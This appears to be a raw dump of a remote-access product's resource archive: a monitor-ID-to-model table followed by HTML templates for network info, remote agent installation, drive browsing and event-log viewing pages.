VSC3254=ViewSonic PJ800
VSC3345=ViewSonic E655
VSC3351=ViewSonic PT810
VSC3441=ViewSonic E641
VSC3451=ViewSonic PT810-2
VSC3454=ViewSonic PJ1000
VSC3507=ViewSonic E90fb
VSC354D=ViewSonic GT800
VSC3551=ViewSonic P810
VSC3552=ViewSonic P810-E
VSC3553=ViewSonic P810-A
VSC3554=ViewSonic PJL802
VSC3641=ViewSonic E641-2
VSC3644=ViewSonic 15GA
VSC3645=ViewSonic G653
VSC364A=ViewSonic PT770
VSC3651=ViewSonic P815
VSC3744=ViewSonic 15G-2
VSC3745=ViewSonic E655-2
VSC374D=ViewSonic G800
VSC3751=ViewSonic G810
VSC3844=ViewSonic 15ES-2
VSC3845=ViewSonic VP150
VSC384A=ViewSonic 17EA
VSC384D=ViewSonic G790
VSC3851=ViewSonic PT810-3
VSC3854=ViewSonic PJ820
VSC394A=ViewSonic 17GS-2
VSC3E00=ViewSonic A110-2
VSC4004=ViewSonic P220f-2
VSC4145=ViewSonic GA655
VSC4151=ViewSonic PT813
VSC4244=ViewSonic EA771B
VSC4245=ViewSonic P655
VSC424A=ViewSonic GT770
VSC424D=ViewSonic P795
VSC4300=ViewSonic PF815-2
VSC430C=ViewSonic P220fb-2
VSC434A=ViewSonic 17PS-2
VSC434D=ViewSonic PS790
VSC444A=ViewSonic 17GA-2
VSC444D=ViewSonic MB90
VSC4451=ViewSonic P810-2
VSC4500=ViewSonic PF790-2
VSC454D=ViewSonic PT795
VSC4551=ViewSonic P815-2
VSC4600=ViewSonic P95f
VSC474A=ViewSonic PT775
VSC474E=ViewSonic PS795
VSC484D=ViewSonic G790-2
VSC4851=ViewSonic P810-3
VSC4907=ViewSonic G90fb-2
VSC4951=ViewSonic G810-2
VSC4A51=ViewSonic MB110
VSC4B4A=ViewSonic GT775
VSC4C4A=ViewSonic G771
VSC4C4D=ViewSonic PF795
VSC4C51=ViewSonic P817
VSC4C52=ViewSonic P817-E
VSC4D4A=ViewSonic EA771
VSC4D4D=ViewSonic E790
VSC4F4D=ViewSonic GS790
VSC4F51=ViewSonic P815-4
VSC5000=ViewSonic P220f
VSC504A=ViewSonic P775
VSC504E=ViewSonic A90
VSC5135=ViewSonic P810-MR
VSC514A=ViewSonic GA771
VSC514D=ViewSonic E790B
VSC5151=ViewSonic G810-4
VSC5207=ViewSonic P90f
VSC5235=ViewSonic P810-ER
VSC524A=ViewSonic G773
VSC5251=ViewSonic E810
VSC554D=ViewSonic PF790
VSC5551=ViewSonic P810-4
VSC564A=ViewSonic E771
VSC564E=ViewSonic E90
VSC5751=ViewSonic PF815
VSC594A=ViewSonic GS771
VSC5951=ViewSonic PF817
VSC5A4A=ViewSonic PT771
VSC5B02=ViewSonic G225s
VSC5B0D=ViewSonic GS790f
VSC6003=ViewSonic E790-5
VSC6505=ViewSonic E220
VSC6A11=ViewSonic VP211b
VSC890B=ViewSonic P220f-3
VSC890E=ViewSonic E90f+
VSC8A03=ViewSonic E90-2G
VSC8A06=ViewSonic G90f-2
VSC8B13=ViewSonic A110
VSC8F00=ViewSonic A90-2
VSC9004=ViewSonic E95
VSCA206=ViewSonic A90f
VSCA306=ViewSonic E90f
VSCAB01=ViewSonic E90-2
VSCAC01=ViewSonic E90b-2
VSCB80D=ViewSonic G90m
VSCBB0C=ViewSonic P225f-4
VSCBC0C=ViewSonic P225fb-4
VSCBD0C=ViewSonic E220-2
VSCC303=ViewSonic P225f-2
VSCC308=ViewSonic G810-6
VSCC403=ViewSonic P225
VSCC709=ViewSonic GS815
VSCCE01=ViewSonic P225f
VSCD402=ViewSonic GS790-2
VSCD502=ViewSonic E90-3
VSCD505=ViewSonic G225f
VSCE005=ViewSonic E790-3
VSCE201=ViewSonic GS815-2
VSCE405=ViewSonic E790B-4
VSCE505=ViewSonic PF97a
VSCE605=ViewSonic PF97d
VSCE709=ViewSonic G220f
VSCE809=ViewSonic G220fb
VSCEB05=ViewSonic Z90
VSCEF05=ViewSonic A95f
VSCF205=ViewSonic A90-3
___5620=MAG InnoVision DX1595
___5624=MAG InnoVision DX15T
{netinfo.htmlbҌ<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<?
if REQ.IDX 
// IP info
action "netinfo"
usemacro WINERRDLG()
endif
action "netlist" // list adapters
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText"><?&INFO.NETINFO.TITLE?></span></div>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%INFO.NETINFO.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<!-- ADAPTERS -->
<center>

<table class="inner">
<tr>
<th>&nbsp;</th>
<th><?&MSG.NAME?></th>
<th><?&MSG.TYPE?></th>
<th><?&INFO.NETINFO.ADDRESS?></th>
<th><?&INFO.NETINFO.SPEED?></th>
<th><?&INFO.NETINFO.OCTIN?></th>
<th><?&INFO.NETINFO.OCTOUT?></th>
<th><?&INFO.NETINFO.IP?></th>
</tr>
<?enum ADAPTERS?>
<tr>
<td><?&ADAPTER.INDEX?></td>
<td><a href="perfmon.html?type=neti&name=%ADAPTER.NAME%"><?&ADAPTER.NAME?></a></td>
<td><?&ADAPTER.TYPE?></td>
<td><?&ADAPTER.MAC?></td>
<td class="num"><?&ADAPTER.SPEED _sz?></td>
<td class="num"><a href="perfmon.html?type=neti&name=%ADAPTER.NAME%"><?&ADAPTER.OCTRCVD _sz?></a></td>
<td class="num"><a href="perfmon.html?type=neto&name=%ADAPTER.NAME%"><?&ADAPTER.OCTSENT _sz?></a></td>
<td><?&IP.ADDR?> (<?&IP.MASK?>)</td>
</tr>
<?next?>
</table>

<?if ACTIONS has "-perfmon-"?>
<p>
<input type="button" value="&MSG.PERF.TYPE.NETI&" onclick="window.location='perfmon.html?type=neti'">
<input type="button" value="&MSG.PERF.TYPE.NETO&" onclick="window.location='perfmon.html?type=neto'">
</p>
<?endif?>

<p>&nbsp;</p>

</center>
</div>
</body>
</html>
XnetInstPDA.htmlrO<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body class="window">
<table class="titleBar"><tr>
<td><img src="img/menu_home.png?bg=%COLOR.CapBack%" align="absmiddle">&MSG.CONFIG.NETMAINT.ACTION.INSTALL&</td>
</tr></table>

<form action="netmaint.html" method="post">
<input type="hidden" name="op" value="install">
<input type="hidden" name="domain" value="&REQ.DOMAIN&">
<input type="hidden" name="computer" value="&REQ.COMPUTER&">

<table>
<tr>
<td>&MSG.CONFIG.NETMAINT.COMPUTER&:</td>
<td>&REQ.LIST&</td>
</tr>
<tr>
<td>&MSG.PATH&:</td>
<td><input type="text" name="path" value="&REQ.PATH&" size="20"></td>
</tr>
<tr>
<td>&MSG.CONFIG.NETMAINT.PORT&:</td>
<td><input type="text" name="port" value="&REQ.PORT&" size="5"></td>
</tr>
<tr><td colspan="2" align="center">
<input type="submit" name="submit" value="&MSG.CONFIG.NETMAINT.ACTION.INSTALL&">
<input type="button" name="cancel" value="&MSG.DIALOG.CANCEL&" onclick="window.location='netmaint.html'">
</td></tr>
</table>

</form>

</center>
</div>
</body>
</html>
.)netmaint.html[ <?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>

<style type="text/css">
.stopped, .stopping { color: &COLOR.ServLo&; }
.starting, .started { color: &COLOR.ServHi&; }
</style>

<script type="text/javascript" src="js/window.js"></script>
</head>

<body>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.NETMAINT.TITLE&</span></div>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.NETMAINT.TITLE%%20%28%REQ.DOMAIN%%29&favicon=menu_pref.png&favargs=%TEMPLATE%%3Fdomain%3D%REQ.DOMAIN%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?domain=%REQ.DOMAIN%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<br>
<center>

<?if NTLM?>

<fieldset>
<font color="<?&COLOR.Link?>">&MSG.CONFIG.NETMAINT.NTLMNOTE&</font><br>
<br>
<input type="button" name="logout" value="&MSG.LOGOUT.TITLE&" onclick="parent.location='default.html?logout=yes'"><br>
</fieldset><br><br>

<?elseif REQ.OP?>

<?action "rainst"?><?usemacro WINERRDLG()?>
<?if RAINST?><?enum RAINST?>
<fieldset>
<legend>&MSG.CONFIG.NETMAINT.OP:REQ.OP&</legend>

<div align="left">
<?if RAINST.CMD?><pre>&RAINST.CMD& &RAINST.ARG&</pre><br><?endif?>
<?if RAINST.OUTPUT?><pre>&RAINST.OUTPUT&</pre><br><?endif?>
</div>

<?if RAINST.ERROR?><b>&MSG.DIALOG.ERROR&:</b> <i>&RAINST.ERROR&</i><br><?endif?>

</fieldset><br><br>
<?next?><?endif?>

<input type="button" name="back" value="&MSG.DIALOG.BACK&" onclick="window.location='$TEMPLATE$?domain=%REQ.DOMAIN%&%RND%'">
<br><br>

<?else?>

<?action "ralist"?>
<?if WINERRMSG?><b>&MSG.DIALOG.ERROR&:</b> <i>&WINERRMSG&</i><br><br><?endif?>
<form action="&TEMPLATE&" method="post">
<fieldset>
<input type="hidden" name="op" value="">
<input type="hidden" name="domain" value="&REQ.DOMAIN&">
<script language="JavaScript">
var comp = new Array();
function tick(inp) {
var nticks = 0;
var nstarted = 0;
var nstopped = 0;
var form = inp.form;
for (var i = 0; i < form.elements.length; i++) {
var n = form.elements[i];
if (n.type == 'checkbox' && n.checked) {
nticks++;
var c = comp[n.value];
if (c && c.stat == 'started') nstarted++;
if (c && c.stat == 'stopped') nstopped++;
}
}
if (form.install) {
form.install.disabled = !(nticks != 0);
}
if (form.start) {
form.start.disabled = !(nstarted == 0 && nstopped != 0);
}
if (form.stop) {
form.stop.disabled = !(nstarted != 0 && nstopped == 0);
}
}
function addComp(name, path, port, status) {
var o = new Object();
o.name = name;
o.path = path;
o.port = port;
o.stat = status;
comp[name] = o;
}
function inst(inp) {
var form = inp.form;
var list = "";
var path = "";
var port = "";
for (var i = 0; i < form.elements.length; i++) {
var n = form.elements[i];
if (n.type == 'checkbox' && n.checked) {
var computer = comp[n.value];
if (list.length) list += ", ";
list += computer.name;
if (path.length == 0) path = computer.path;
if (port.length == 0) port = computer.port;
}
}
if (path.length == 0) path = "$SRVDIR$";
if (port.length == 0) port = "$SRVPORT$";
form.op.value = 'install';
form.path.value = path;
form.port.value = port;
document.getElementById('InstallList').innerHTML = list;
winShow('InstallDlg');
form.path.focus();
}
</script>
<table class="inner">
<?if COMPUTER.COUNT>0?>
<tr>
<th colspan="2">&MSG.CONFIG.NETMAINT.COMPUTER&</th>
<th>&MSG.CONFIG.NETMAINT.PLATFORM&</th>
<th>&MSG.CONFIG.NETMAINT.VERSION&</th>
<th>&MSG.ADMIN.SERVICE.STATUS&</th>
<th>&MSG.CONFIG.NETMAINT.PORT&</th>
</tr>
<?endif?>
<?enum COMPUTERS?>
<?if COMPUTER.NAME?>
<?if not COMPUTER.ERROR?><?set INSTALL="1"?><?endif?>
<script language="JavaScript">addComp('$COMPUTER.NAME$', '$COMPUTER.RA.DIR$', '$COMPUTER.RA.PORT$', '$COMPUTER.RA.STATUS$');</script>
<label for="chk=ENUM.INDEX=">
<tr valign="middle" <?disabled COMPUTER.DISABLED?>>
<td><input type="checkbox" id="chk=ENUM.INDEX=" name="computer" value="&COMPUTER.NAME&" onclick="tick(this)" <?disabled COMPUTER.DISABLED?>></td>
<td>
<b>
<?if COMPUTER.RA.URL?>
<a href="&COMPUTER.RA.URL&" target="_blank">&COMPUTER.NAME&</a>
<?else?>
&COMPUTER.NAME&
<?endif?>
</b>
<?if COMPUTER.COMMENT?>(&COMPUTER.COMMENT&)<?endif?>
</td>
<td><?if COMPUTER.PLATFORM?>&COMPUTER.PLATFORM& &COMPUTER.VERSION& <?if COMPUTER.ROLE?>(&MSG.CONFIG.NETMAINT.ROLE:COMPUTER.ROLE&)<?endif?><?else?>&MSG.CONFIG.NA&<?endif?></td>
<?if COMPUTER.RA.INSTALLED?>
<td title="&COMPUTER.RA.NAME&"><?if COMPUTER.RA.VERSION?>&COMPUTER.RA.VERSION&<?else?>&MSG.CONFIG.NA&<?endif?></td>
<td class="&COMPUTER.RA.STATUS&">&MSG.ADMIN.SERVICE.STATUS:COMPUTER.RA.STATUS&</td>
<td class="num"><?if COMPUTER.RA.PORT?>&COMPUTER.RA.PORT&<?else?>&MSG.CONFIG.NA&<?endif?></td>
<?elseif COMPUTER.RA.SVCERR?>
<td colspan="3"><b>&MSG.DIALOG.ERROR&:</b> <i>&COMPUTER.RA.SVCERR&</i></td>
<?elseif COMPUTER.ERROR?>
<td colspan="3"><b>&MSG.DIALOG.ERROR&:</b> <i>&COMPUTER.ERROR&</i></td>
<?else?>
<td colspan="3"><i>&MSG.CONFIG.NETMAINT.NOTINST&</i></td>
<?endif?>
</tr>
</label>
<?else?>
<tr>
<td colspan="6"><a href="&TEMPLATE&?domain=%DOMAIN.NAME%">&DOMAIN.NAME&</a></td>
</tr>
<?endif?>
<?next?>
</table><br>

<?if COMPUTER.RA.INSTALLED?>
<a href="&TEMPLATE&?op=uninstall&computer=%COMPUTER.NAME%&domain=%REQ.DOMAIN%">&MSG.CONFIG.NETMAINT.ACTION.UNINSTALL&</a>
<?endif?>

<div id="InstallDlg" class="subwindow" style="left:80px;top:140px;width:450px;height:auto;">
<div class="titleBar">&MSG.CONFIG.NETMAINT.ACTION.INSTALL&</div>
<div class="clientArea" style="padding: 1em;">
<table>
<tr>
<td>&MSG.CONFIG.NETMAINT.COMPUTER&:</td>
<td><div id="InstallList"></div></td>
</tr>
<tr>
<td>&MSG.PATH&:</td>
<td><input type="text" name="path" value="" size="40"></td>
</tr>
<tr>
<td>&MSG.CONFIG.NETMAINT.PORT&:</td>
<td><input type="text" name="port" value="" size="5"></td>
</tr>
<tr><td colspan="2" align="center">
<input type="submit" name="submit" onclick="winHide('InstallDlg')" value="&MSG.CONFIG.NETMAINT.ACTION.INSTALL&">
<input type="button" name="cancel" onclick="winHide('InstallDlg')" value="&MSG.DIALOG.CANCEL&">
</td></tr>
</table>
</div>	
</div>

<?if INSTALL?>
<input type="button" name="install" value="&MSG.CONFIG.NETMAINT.ACTION.INSTALL&" onclick="inst(this)" disabled>
<input type="submit" name="start"   value="&MSG.ADMIN.SERVICE.TIP.START&" onclick="this.form.op.value='start'" disabled>
<input type="submit" name="stop"    value="&MSG.ADMIN.SERVICE.TIP.STOP&"  onclick="this.form.op.value='stop'" disabled>
<?endif?>
<input type="button" name="refresh" value="&MSG.DIALOG.UPDATE&" onclick="window.location.replace('$TEMPLATE$?domain=%REQ.DOMAIN%&%RND%')">
<?if REQ.DOMAIN?>
<input type="button" name="root" value="&MSG.DIALOG.ROOT&" onclick="window.location='$TEMPLATE$?%RND%'">
<input type="button" name="back" value="&MSG.DIALOG.BACK&" onclick="history.back()">
<br>
<?endif?>

</fieldset><br><br>
</form>

<?endif // NTLM?>
</center>
</div>
</body>
</html>
yT2nnews.htmlG<?ratmpl?>
<?
// check if setting is stored in a cookie (for backward compatibility only)
if COOKIE.NOTD
set NOTD=COOKIE.NOTD
endif
// check if setting is stored in the registry
if CFG.PerUser.Appearance.NewsOfTheDay
set NOTD=CFG.PerUser.Appearance.NewsOfTheDay
endif
// need to turn news on/off?
if REQ.NOTD
set NOTD=REQ.NOTD
set cfg PerUser.Appearance.NewsOfTheDay=NOTD
endif
// disabled?
if NOTD = "0"
set NOTD = ""
endif
?>
<?if not BRAND.LOGMEIN?>
<?if NOTD?>
<!-- RA NEWS -->
<table border="0"><tr valign="top">
<td><iframe src="&RA.COM&/cgi-bin/notd.pl?v=%VERSION.RA%&t=2" width="600" height="140"></iframe></td>
<td><a href="javascript:location.assign('/&TEMPLATE&?page=about&notd=0');"><img src="/img/ico_delete.png?bg=%COLOR.DlgBack%" title="&INFO.HIDENOTD&" border="0"></a></td>
</tr></table>
<br>
<?else?>
<input type="button" value="&INFO.SHOWNOTD&" onclick="location.assign('/&TEMPLATE&?page=about&notd=1');"><br>
<?endif?>
<?endif?>
ǜmC&ntlminprogress.htmln<HTML>
<HEAD>
<META http-equiv="refresh" content="1;url=/default.html?logout=1&reason=ntlmerr">
</HEAD>
<BODY>
</BODY>
</HTML>

objinfo.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>

<script type="text/javascript" src="js/window.js"></script>
</head>

<?
usemacro LINECOUNT()
action "objlist" REQ.MERGE = "1"
usemacro WINERRDLG()
?>
<body onLoad="winAutoHeight('infoArea', getElementHeight('info') - getElementHeight('infoArea') + 5);">
<div id="info" class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText"><?if REQ.SHOWREGK?>&INFO.REG.TITLE&<?else?>&INFO.FILES.TITLE&<?endif?></span></div>
<div class="buttonBar">
<div class="buttonGroup">
<?if USE.QUICKLINKS?>
<a href="title.html?favname=<?if REQ.SHOWREGK?>%INFO.REG.TITLE%<?else?>%INFO.FILES.TITLE%<?endif?>&favicon=menu_perf.png&favargs=%TEMPLATE%%3fshowregk=%REQ.SHOWREGK%%26showfile=%REQ.SHOWFILE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<?endif?>
<a href="&TEMPLATE&?showfile=%REQ.SHOWFILE%&showregk=%REQ.SHOWREGK%&idx=%REQ.IDX%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<?usemacro PAGEBAR("showregk showfile showsect")?>
</div>

<div id="infoArea" class="scrollableDataArea">
<table class="inner" width="99%" cellpadding="2">
<thead>
<tr>
<th><?&MSG.NAME?></th>
<?if ISNT?><th><?&MSG.ADMIN.PROCESS.TITLE?></th><?endif?>
</tr>
</thead>
<?if OBJECTS?>
<tbody>
<?set LAST = "###" // so unnamed objects show up properly ?>
<?enum OBJECTS?>
<?if LAST != OBJECT.NAME?>
<?if LAST != "###"?></td></tr><?endif?>
<?set LAST = OBJECT.NAME?>
<tr><td valign="top"><?&OBJECT.NAME?></td>
<?if ISNT?><td nowrap><?endif?>
<?endif?>
<?if ISNT?><a href="/procinfo.html?pid=%OBJECT.PROCID%&%RND%"><?&OBJECT.PROCNAME?> (<?&OBJECT.PROCID?>)</a><br><?endif?>
<?next?>
<?if LAST?><?if ISNT?></td><?endif?></tr><?endif?>
</tbody>
<?endif?>
<?if PAGE.COUNT>1?><tfoot><tr><td<?if ISNT?> colspan="2"<?endif?>><img src="img/clear.gif" height="3"><br><font color="<?&COLOR.Link?>"><?&MSG.PAGING.NOTICE?></font><br><img src="img/clear.gif" height="3"></td></tr></tfoot><?endif?>
</table>

</div>
</div>

</body>
</html>
+2openclient.html
<?ratmpl?>
<?nocache?>
<? set session PLATFORM = REQ.PLATFORM ?>
<? if REQ.DOWNLOADCLIENT = "1" ?>
<?downloadclient "logmein://" HTTP.HOST "/?ticket=" REQ.APPTYPE RASID.URLENC "&lang=" LANG "&view=" REQ.VIEW?>
<? elseif REQ.REDIRECT = "1"?>
<?redirect "logmein://" HTTP.HOST "/?ticket=" REQ.APPTYPE RASID.URLENC "&lang=" LANG "&view=" REQ.VIEW?>
<? else ?>
<!-- iframe redirect is disallowed on Safari for non https addresses, so use <meta> html tag instead. Used by host's web interface -->
<meta http-equiv="refresh" content="0;logmein://=HTTP.HOST=/?ticket=%REQ.APPTYPE%%RASID.URLENC%&lang=%LANG%&view=%REQ.VIEW%">
<? endif ?>CCpasssave.incC2<?ratmpl?>
<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<script type="text/javascript" src="js/passsave.js"></script>
O$PDA_drivesPDA.htmla{<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "title.inc"?>

<script language="JavaScript">
function goDrive(name, size) {
if (size == '')
alert('$DRIVE.NODISK$');
else
window.location='%TEMPLATE%?dir=' + escape(name);
}
</script>
</head>

<body>

<table bgColor=&PDATITLEBG& cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_filetransfer.png?bg=%PDATITLEBG%" align="middle">&nbsp;<b><FONT color=white>&FILEXFER.TITLE&</FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<?if REQ.DIR
action "filelist"
enum PATH?>
\ <a href="%TEMPLATE%?dir=%PATH.FULL%">&PATH.PART&</a>
<?next
else
action "drivelist"
action "globaldeskitemlist"
endif
usemacro WINERRDLG()?>

<?if GLBDESKITEMS > 0?>
<table align=center width="100%" cellpadding=2 cellspacing=0 border=1>
<?enum GLBDESKITEMS?>
<tr><td><font size=0><a href="%TEMPLATE%?dir=%GLBDESKITEMS.PATH%">
<?if GLBDESKITEMS.TYPE = "DESKTOP"?>
&MSG.DRIVE.SOMEBODYSDESK&
<?elseif GLBDESKITEMS.TYPE = "MYDOCS"?>
&MSG.DRIVE.SOMEBODYSDOCS&
<?endif?>
</a></font></td></tr>
<?next?>
</table>
<?endif?>

<table align=center width="100%" cellpadding=2 cellspacing=0 border=1>
<thead>
<tr bgcolor="#2a669a">
<th><b><FONT color=white><?&MSG.DRIVE.NAME?></FONT></b></th>
<th><b><FONT color=white><?&MSG.DRIVE.VSIZE?></FONT></b></th>
<?if REQ.DIR?>
<th><b><FONT color=white><?&MSG.DRIVE.TIMEM?></FONT></b></th>
<?else?>
<th><b><FONT color=white><?&MSG.DRIVE.USEDP?></FONT></b></th>
<?endif?>
</tr>
</thead>
<tbody>
<?if REQ.DIR?>
<?enum FILES?>
<tr>
<?if FILE.TYPE="folder"?>
<td><font size=0><a href="%TEMPLATE%?dir=%DIR.PATH%\%FILE.NAME%"><?&FILE.NAME?></a></font></td>
<td><font size=0>&lt;&MSG.DRIVE.DIRSHORT&&gt;</font></td>
<?else?>
<td><font size=0><a href="/download/%FILE.NAME%?dir=%DIR.PATH%&file=%FILE.NAME%"><?&FILE.NAME?></a></font></td>
<td align="right"><font size=0><?&FILE.SIZE _szk?></font></td>
<?endif?>
<td align=right><font size=0><?&FILE.TIMEM _dtms?></font></td>
</tr>
<?else?>
<?enum DRIVES?>
<tr>
<td><a href="javascript:goDrive('$DRIVE.NAME$', '$DRIVE.SIZE$')"><font size=0><?&DRIVE.NAME?></font></a></td>
<td><font size=0><?&DRIVE.SIZE _szm?></font></td>
<td align=right><font size=0><?if DRIVE.SIZE?><?&DRIVE.USEDP?>%<?endif?></font></td>
</tr>
<?endif?>
<?next?>
</tbody>
<?if not REQ.DIR?>
<tfoot>
<tr>
<td><font size=0><?&MSG.DRIVE.SUM?></a></font></td>
<td ><font size=0><?&DRIVES.SIZE _szm?></font></td>
<td align=right><font size=0><?&DRIVES.USEDP?>%</font></td>
</tr>
</tfoot>
<?endif?>
</table>
<center>
<form action="%TEMPLATE%" method="get">
<table><tr>
<td><input type="text" name="dir" value="&DIR&" size="15" onfocus="this.select()"></td>
<td class="ttd"><input type="submit" value="&MSG.GO&"></td>
</tr></table>
</form></center>

</body>
</html>
f PDA_evtinfo.htmlu{<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "title.inc"?>
</head>
<body>
<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?&MSG.ADMIN.EVENTS.TITLE?>&nbsp;<?&EVENT.ID?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>
<?if REQ.IDX?>
<?action "evtinfo"?>
<?if WINERRNUM?>
<p align="center"><?&MSG.DIALOG.ERROR?>: <?&WINERRMSG?></p>
<?else?>
<table>
<tr><td align="right">&MSG.TYPE&:</td><td><b><?&ADMIN.EVENTS.TYPE:EVENT.TYPE?></b>
<?switch EVENT.TYPE?>
<?case "error"?><img src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" align=absmiddle>
<?case "info"?><img src="img/ico_evt_info.png?bg=%COLOR.DlgBack%" align=absmiddle>
<?case "warning"?><img src="img/ico_evt_warn.png?bg=%COLOR.DlgBack%" align=absmiddle>
<?case "auditfail"?><img src="img/ico_evt_lock.png?bg=%COLOR.DlgBack%" align=absmiddle>
<?case "auditsucc"?><img src="img/ico_evt_perm.png?bg=%COLOR.DlgBack%" align=absmiddle>
<?endswitch?>
</td></tr>
<tr><td align="right">&ADMIN.EVENTS.ID&:</td><td><?&EVENT.ID?></td></tr>
<tr><td align="right">&ADMIN.EVENTS.SOURCE&:</td><td><?&EVENT.SOURCE?></td></tr>
<tr><td align="right">&ADMIN.EVENTS.USER&:</td><td><?IF EVENT.USER = ""?>&CONFIG.NA&<?else?><?&EVENT.USER?><?endif?></td></tr>
<tr><td align="right">&ADMIN.EVENTS.GENERATED&:</td><td><?&EVENT.TIME _dts?>&nbsp;<?&EVENT.TIME _tms?></td></tr>
<tr><td align="right">&ADMIN.EVENTS.COMPUTER&:</td><td><?&EVENT.COMPUTER?></td>
<?if EVENT.CATEGORY?><tr><td align="right">&ADMIN.EVENTS.CATEGORY&:</td><td><?&EVENT.CATEGORY?></td></tr><?endif?>
<?if EVENT.MESSAGE?><tr><td align="right" valign="top">&ADMIN.EVENTS.MSG&:</td><td><font size="-1"><?&EVENT.MESSAGE?></font></td></tr><?endif?>
<?if EVENT.DATA?><tr><td align="right">&ADMIN.EVENTS.DATA&:</td><td><?&EVENT.DATA?></td></tr><?endif?>
</table>
<?endif?>
<?else?>
<p align="center">&ADMIN.EVENTS.NOEVENT&</p>
<?endif?>
<br><center><input type="button" value="<?&DIALOG.Back?>" onclick="history.go(-1)"></center>
</body>
</html>
 PDA_evtlogs.html	
{<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>

<head>
<?include "title.inc"?>
</head>

<body>
<?
if REQ.CLEAR // need to clear log?
action "evtclear"
usemacro WINERRDLG()
endif
// list event log names
action "evtlogs"
usemacro WINERRDLG()
// get default log
enum EVTLOGS
if not REQ.LOG
set REQ.LOG=EVTLOG.NAME
endif
next
// list events
usemacro LINECOUNT()
action "evtdump"
usemacro WINERRDLG()
?>


<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?&MSG.ADMIN.EVENTS.LOG_mx19?></FONT></b></td>
<!-- list logs in caption -->
<td><select onchange="window.location='&TEMPLATE&?log='+this.options[this.selectedIndex].value+'&cnt=10'" style="font-family:Verdana,Arial;font:10px;" ID="Select2" NAME="Select1">
<?enum EVTLOGS?><option value="&EVTLOG.NAME&" <?if REQ.LOG=EVTLOG.NAME?>selected<?endif?>><?&EVTLOG.DISP?></option><?next?> 
</select></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<?usemacro PAGEBAR("LOG")?>

<?if REQ.CONFIRM?>
<!-- clear log confirmation screen -->
<center>
<form action="&TEMPLATE&">
<input type="hidden" name="log" value="&REQ.LOG&">
<table width="60%">
<tr>
<td rowspan="2">&nbsp;&nbsp;<img src="img/ico_trash.gif">&nbsp;&nbsp;</td>
<td>&MSG.ADMIN.EVENTS.CONFIRM&<br><br>
&MSG.ADMIN.EVENTS.BACKUP&<br><br>
<input type="text" name="bak" size="40"></td>
</tr>
<tr>
<td align="center">
<input type="submit" name="clear"  value="&MSG.ADMIN.EVENTS.CLEAR&">
<input type="submit" name="cancel" value="&MSG.DIALOG.CANCEL&">
</td>
</tr>
</table>
</form>
</center>

<?else?>

<?if EVENTS > 0?>
<!-- list of events -->
<table id="evtlist" onselectstart="return false" width="100%" border=1 cellpadding=2 cellspacing=0>
<thead>
<tr bgColor=#2a669a>
<th colspan=2><font size=-1 color=white>&MSG.ADMIN.EVENTS.ID&</font></th>
<th><font size=-1 color=white>&MSG.ADMIN.EVENTS.SOURCE&</font></th>
<!--<th><font size=-1 color=white>&MSG.ADMIN.EVENTS.USER&</font></th>-->
<th><font size=-1 color=white>&MSG.ADMIN.EVENTS.GENERATED&</font></th>
<!--<th><font size=-1 color=white>&MSG.ADMIN.EVENTS.COMPUTER&</font></th>-->
</tr>
</thead>
<tbody>
<?enum EVENTS?>
<tr>
<td>
<?switch EVENT.TYPE?>
<?case "error"?><img src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" border=0>
<?case "info"?><img src="img/ico_evt_info.png?bg=%COLOR.DlgBack%" border=0>
<?case "warning"?><img src="img/ico_evt_warn.png?bg=%COLOR.DlgBack%" border=0>
<?case "auditfail"?><img src="img/ico_evt_lock.png?bg=%COLOR.DlgBack%" border=0>
<?case "auditsucc"?><img src="img/ico_evt_perm.png?bg=%COLOR.DlgBack%" border=0>
<?endswitch?>
</td>
<td nowrap><a href="PDA_evtinfo.html?log=%REQ.LOG%&idx=%EVENT.INDEX%"><font size=-1><?&EVENT.ID?></font></a></td>
<td nowrap><font size=-1><?&EVENT.SOURCE?></font></td>
